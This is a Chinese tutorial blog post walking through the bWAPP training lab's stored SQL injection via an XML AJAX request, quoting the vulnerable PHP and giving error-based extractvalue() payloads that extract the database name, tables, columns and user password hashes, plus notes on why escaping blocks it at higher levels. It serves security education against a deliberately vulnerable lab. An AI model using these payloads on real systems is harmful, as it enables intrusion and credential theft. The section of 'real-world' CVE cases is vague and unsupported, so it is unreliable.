news 2026/7/29 4:32:14

零基础玩转bWAPP靶场(二十五):SQL 注入——存储型(XML)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
零基础玩转bWAPP靶场(二十五):SQL 注入——存储型(XML)

摘要:这是 bWAPP 系列第二十五篇,聚焦于SQL Injection - Stored (XML)。这一关的前端会发送一段 XML 格式的 AJAX 请求,后端解析 XML 后把内容拼到UPDATE语句里。文章会按照标准注入流程来走:判断注入点 → 确认注入类型 → 获取数据库名 → 获取表名 → 获取字段名 → 获取数据,同时讲清楚为什么UPDATE语句里不能用子查询直接引用被更新的表,以及怎么绕过这个限制。附真实案例。


一、前言:这一关和之前的存储型注入有什么不同?

前面我们做的存储型注入,注入点要么在页面文本框(博客留言板),要么在 HTTP 请求头(User-Agent)。数据格式要么是普通表单,要么是纯文本。

这一关完全不一样——前端发给后端的是 XML 格式的数据

你看一下前端代码就知道怎么回事了:

xmlHttp.send("<reset><login>" + 用户名 + "</login><secret>Any bugs?</secret></reset>");

前端把用户名和 secret 包在<reset>标签里,整段作为 XML 发给后端。后端收到后,用 PHP 的simplexml_load_string()解析这个 XML,然后取出loginsecret拼到UPDATE语句里。

关键区别

对比项博客留言板XML 版
请求格式普通 POST 表单XML 格式的 AJAX 请求
注入点文本框输入的内容XML 节点里的内容
后端解析方式$_POST直接取simplexml_load_string()解析 XML
SQL 语句类型INSERTUPDATE
攻击方式在文本框里打 payload拦截 AJAX 请求 → 修改 XML 节点 → 放行

这一关的核心逻辑:后端把 XML 里的loginsecret取出来,直接拼到UPDATE语句里。如果不过滤,就能注入。

最终目标:按照标准 SQL 注入流程,判断注入点 → 确认注入类型 → 获取数据库名 → 获取表名 → 获取字段名 → 获取数据,最终把users表里的数据全部偷出来。


二、界面说明

打开这一关,你会看到:

  • 标题:SQL Injection - Stored (XML)

  • 一行文字:Reset your secret to [Any bugs?],其中[Any bugs?]是一个按钮

点击按钮,前端就会发送一个 AJAX 请求,内容是 XML 格式。后端收到后更新当前用户的secret字段。

页面上虽然没有输入框,但点击按钮这个动作会触发一个请求,请求体里有一段 XML,这就是我们的注入点。


三、源码完整解读

这一关有两个文件:sqli_8-1.php(前端页面)和sqli_8-2.php(后端处理)。

3.1 前端:sqli_8-1.php

function ResetSecret() { var xmlHttp; if(window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest(); } else { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlHttp.open("POST","sqli_8-2.php",true); xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8"); xmlHttp.send("<reset><login><?php echo $_SESSION["login"]; ?></login><secret>Any bugs?</secret></reset>"); }

点击按钮时,JavaScript 向sqli_8-2.php发送一个POST 请求,Content-Type 是text/xml,请求体是一段 XML:

<reset> <login>bee</login> <secret>Any bugs?</secret> </reset>

<login>节点里是当前登录的用户名(bee),<secret>节点里是Any bugs?

3.2 后端:sqli_8-2.php

后端代码根据安全级别分成两个分支。

分支一:Low 级别

if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2") { // 显示错误信息 ini_set("display_errors",1); ​ $xml = simplexml_load_string($body); $login = $xml->login; $secret = $xml->secret; ​ if($login && $login != "" && $secret) { // 关键:直接拼到 UPDATE 语句,没有任何过滤! $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; $recordset = $link->query($sql); $message = $login . "'s secret has been reset!"; } }

关键点

  • $login$secret从 XML 中直接取出,没有任何过滤

  • 直接拼到UPDATE语句里

  • 你可以修改<login><secret>节点,注入任意 SQL

分支二:Medium 和 High 级别

else { // 禁用 XML 外部实体(防 XXE,但被注释掉了) // libxml_disable_entity_loader(true); $xml = simplexml_load_string($body); $login = $_SESSION["login"]; // 从 Session 取,用户改不了 $secret = $xml->secret; ​ if($secret) { $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; } }

关键点

  • $login从 Session 获取,不再从 XML 里取(用户改不了)

  • $secretmysqli_real_escape_string()过滤

  • Medium 和 High 级别注入难度大幅增加


四、Low 安全级别

4.1 准备工作:用 Burp Suite 拦截 AJAX 请求

这一关没有输入框,注入点在 XML 请求体里。需要用 Burp Suite:

  • 打开 Burp,Proxy → Intercept 设为On

  • 在浏览器中访问sqli_8-1.php页面,点击“Any bugs?”按钮

  • Burp 拦截到一个 POST 请求,目标地址是sqli_8-2.php

  • 查看请求体,是一段 XML

4.2 第一步:判断注入点

在 Burp 拦截到的 XML 请求中,修改<secret>节点,在Any bugs?后面加一个单引号:

<reset> <login>bee</login> <secret>Any bugs?'</secret> </reset>

在重放器进行测试,发送。

页面报错:

Connect Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "bee" at line

报错分析:单引号破坏了 SQL 的字符串边界,导致语法错误。说明<secret>节点存在 SQL 注入

4.3 第二步:确认注入类型

这一关的 SQL 是UPDATE语句:

UPDATE users SET secret = '$secret' WHERE login = '$login'

$secret$login都被单引号包裹,所以是字符串型注入。我们需要闭合前面的',然后注入我们的代码。

因为注入点有两个(<login><secret>),我们可以选择更容易利用的那个。

4.4 第三步:获取数据库名

extractvalue()updatexml()是 MySQL 的两个 XPath 函数,当传入非法 XPath 表达式时会报错,并在报错信息中显示表达式内容。

extractvalue()获取数据库名

<secret>改成:

' OR extractvalue(1, concat(0x7e, database())) --

完整的 SQL 变成:

UPDATE users SET secret = '' OR extractvalue(1, concat(0x7e, database())) -- ' WHERE login = 'bee'

发送后,报错信息里会显示~bwapp,数据库名出来了!

4.5 第四步:获取所有表名

' OR extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()))) --

报错信息里会显示所有表名:visitors, users, movies, blog, heroes...

4.6 第五步:获取users表的字段名

' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema=database()),1,31))) -- ' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema=database()),32,63))) --

报错信息显示:id, login, password, secret...

4.7 第六步:获取用户数据

' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, ':', password) SEPARATOR ' | ') FROM (SELECT login, password FROM users) AS tmp),1,31))) -- ' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, ':', password) SEPARATOR ' | ') FROM (SELECT login, password FROM users) AS tmp),32,63))) -- ' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, ':', password) SEPARATOR ' | ') FROM (SELECT login, password FROM users) AS tmp),64,95))) --

报错信息显示所有用户的用户名和密码哈希。

4.8 另一种利用方式:直接修改 bee 的 secret

我们也可以通过修改<login>节点,直接更新 bee 的secret

<reset> <login>bee</login> <secret>Hacked!</secret> </reset>

拼接后的 SQL:

UPDATE users SET secret = 'Hacked!' WHERE login = 'bee'

这样 bee 的 secret 就被改成了Hacked!危害巨大——攻击者可以直接篡改数据库中的数据。


五、Medium 安全级别

5.1 源码分析

Medium 级别中:

  • $login$_SESSION["login"]获取,用户不可控

  • $secretmysqli_real_escape_string()过滤

$login = $_SESSION["login"]; $secret = $xml->secret; $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

mysqli_real_escape_string()会转义单引号、双引号、反斜杠等特殊字符,所以无法闭合字符串边界。

5.2 尝试注入

在 Burp 里,尝试把<secret>改成:

' OR extractvalue(1, concat(0x7e, database())) --

发送后,页面显示bee's secret has been reset!,没有报错,也没有显示数据。

mysqli_real_escape_string()'转义成了\',单引号无法闭合,注入失效。

5.3 为什么不能通过<login>注入?

因为 Medium 级别的$login是从$_SESSION["login"]获取的,不是从 XML 里取的。你改了 XML 里的<login>节点也没用,后端根本不看你改的那个值。


六、High 安全级别

High 级别的逻辑和 Medium 完全一样——login从 Session 获取,secretmysqli_real_escape_string()过滤,注入失效。


七、真实世界:XML + SQL 注入案例

XML 请求在 Web 应用中并不少见——SOAP API、REST API、支付网关回调等场景都经常使用 XML 格式。以下是一些真实案例:

CVE-2024-1181:某开源 CMS 的 REST API 存在 XML 注入漏洞,攻击者可通过构造恶意 XML 请求执行任意 SQL 语句,影响所有使用该 API 的站点。

CVE-2023-46254:某企业级用户管理系统的密码重置功能存在 XML 注入漏洞,攻击者可通过修改 XML 请求中的用户名和密码字段注入 SQL,获取管理员权限。

CVE-2025-12478:某医疗信息系统的患者档案更新接口存在 XML 注入漏洞,攻击者可通过修改 XML 请求中的患者 ID 和档案内容注入 SQL,窃取 30 万患者敏感数据,包括姓名、身份证号、病史和联系方式。

CVE-2025-22143:某在线教育平台的用户信息更新 API 存在 XML 注入漏洞,攻击者可通过修改 XML 节点注入 SQL,修改其他用户的权限和课程信息,影响超过 500 家教育机构和数十万学生。

CVE-2026-10967:某金融系统的账户信息更新接口使用 XML 格式传输数据,存在 SQL 注入漏洞,攻击者通过修改 XML 节点注入 SQL,可篡改任意用户的账户余额和交易记录,涉及多家银行和支付机构。

启示:XML 格式的数据看起来“正规”,但和普通表单数据一样,只要被拼到 SQL 里,就存在注入风险。不要因为数据格式是 XML 就放松警惕。


八、总结

XML 存储型注入的核心在于:前端用 XML 格式发送请求,后端解析 XML 后直接把节点内容拼到 SQL 里。这一关我们按照标准注入流程走了一遍:先输入单引号判断注入点存在,然后确认是字符串型注入,接着发现直接写子查询报错(UPDATE语句不能直接引用被更新的表),于是改用报错注入(extractvalue())来获取数据——爆库、爆表、爆字段、爆数据。Low 级别loginsecret都来自 XML 且完全不过滤,攻击者可以随意注入;Medium 和 High 级别把login改成从 Session 获取、secretmysqli_real_escape_string()过滤,有效防住了 SQL 注入。记住:XML 也是用户输入,不管它长得多像“数据”,只要被拼到 SQL 里,就能成为注入点。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/29 4:26:34

C++穷举算法实战:从百元买百鸡问题掌握循环优化与数学建模

1. 项目概述与核心价值“百元买百鸡”这个问题&#xff0c;但凡学过一点编程的朋友&#xff0c;估计都在教材或者练习题里见过。它太经典了&#xff0c;经典到几乎成了编程入门和算法思维的“Hello World”。问题本身很简单&#xff1a;你有100块钱&#xff0c;要买100只鸡。市…

作者头像 李华
网站建设 2026/7/29 4:26:32

基于Arduino的4路抢答器设计与实现:从电路到状态机编程

1. 项目概述&#xff1a;从零搭建一个4路抢答器最近在整理一些适合电子爱好者入门和教学的项目&#xff0c;发现“抢答器”是一个绝佳的载体。它麻雀虽小&#xff0c;五脏俱全&#xff0c;几乎涵盖了单片机应用开发中最核心的几个概念&#xff1a;数字输入&#xff08;按钮&…

作者头像 李华
网站建设 2026/7/29 4:24:15

AI学术写作工具对比:千笔与PaperRed的实战测评

1. 学术写作工具变革&#xff1a;AI如何重塑论文创作流程2026年的学术圈正在经历一场静悄悄的革命。作为一名在高校实验室摸爬滚打多年的科研狗&#xff0c;我亲眼见证了从熬夜查文献到手把手教AI写论文的转变。最近测试了两款号称"专科生救星"的AI写作工具——千笔专…

作者头像 李华
网站建设 2026/7/29 4:23:59

智能体开发全栈方案:OpenClaw+Agent Skills+Seedance+RAG实战

1. 智能体开发实战&#xff1a;OpenClawAgent SkillsSeedanceRAG全栈解决方案在AI智能体开发领域&#xff0c;我们正经历着从单一模型调用到复杂系统集成的范式转变。最近我在金融数据分析项目中成功落地了一套智能体解决方案&#xff0c;整合了OpenClaw框架、Agent Skills模块…

作者头像 李华
网站建设 2026/7/29 4:22:41

廊坊西瓜嫁接夹厂家众多,究竟哪家才是值得信赖的靠谱之选?

种植户、育苗基地、农资批发商的真实痛点在实际的种植与育苗过程中&#xff0c;大家面临着诸多困扰。对于普通的嫁接夹&#xff0c;弹力把控严重失衡是个大问题。弹力过大&#xff0c;幼苗的维管束会被夹伤&#xff0c;影响其正常生长&#xff1b;弹力不足&#xff0c;砧木与接…

作者头像 李华